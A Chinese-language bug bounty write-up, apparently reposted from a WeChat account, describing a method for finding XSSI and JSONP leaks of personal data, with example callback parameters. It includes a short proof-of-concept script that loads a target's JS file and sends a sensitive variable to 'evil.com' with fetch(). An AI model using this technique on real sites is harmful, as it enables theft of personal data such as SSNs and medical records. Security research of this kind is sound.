声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
背景介绍:
废话不多说,挖掘流程(一图胜千言):
如果不熟悉 XSSI/JSONP,请阅读以下内容:
XSSI: https://www.scip.ch/en/?labs.20160414
JSONP: https://www.sjoerdlangkemper.nl/2019/01/02/jsonp
方法论:
1、在爬取网站(手动/自动)后,在 Burp suite 中按 MIME 类型过滤结果,然后浏览“script”类型的响应以获取敏感信息
2、白帽子发现一处 JS 文件,其中包含投保时填写的所有信息,包括 SSN、病史、签证信息、姓名、电话号码、出生日期、地址等
3、查看 JS 文件的 HTTP GET 请求,以确保它不需要 CORS 标头,例如:
Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever
4、在该阶段,如果有 CORS 标头,那么攻击就会失败,除非也发现了 CORS 漏洞问题
5、如果不需要特殊的标头,那么可以使用<script>将 JS 文件包含在网页上,并将其发送到任何泄漏严重 PII 漏洞的服务器上,POC 类似于:
<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>
可以使用相同的方式通过在返回敏感信息的所有路径上附加回调=some_function、jsonp=blah 等参数来查找 JSONP 回调。
经验要点:
-有时需要多个参数来触发 JSONP 响应,例如:
http://target.com?callback=test → no JSONP
http://target.com?type=jsonp&callback=test → returns JSONP
–如果响应具有 Content-Type: application/json 但正文是 JSONP/javascript,并且 X-Content-Type-Options: nosniff 标头不在响应中,那么漏洞依然有效
-对于 JSONP,不同的回调参数可能适用于不同的端点,甚至在同一网站上,例如:
https://target.com/profile_info?callback=test→ no JSONP
https://target.com/profile_info?jsonp=test→ returns JSONP
https://target.com/account_info?jsonp=test→ no JSONP
https://target.com/account_info?jsoncallback=test→ returns JSONP
国外白帽子利用上述方法在一个私人项目上发现了 XSSI 漏洞,最终获得$800的赏金奖励。
你学会了么?
====正文结束====
原文始发于微信公众号(骨哥说事):发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金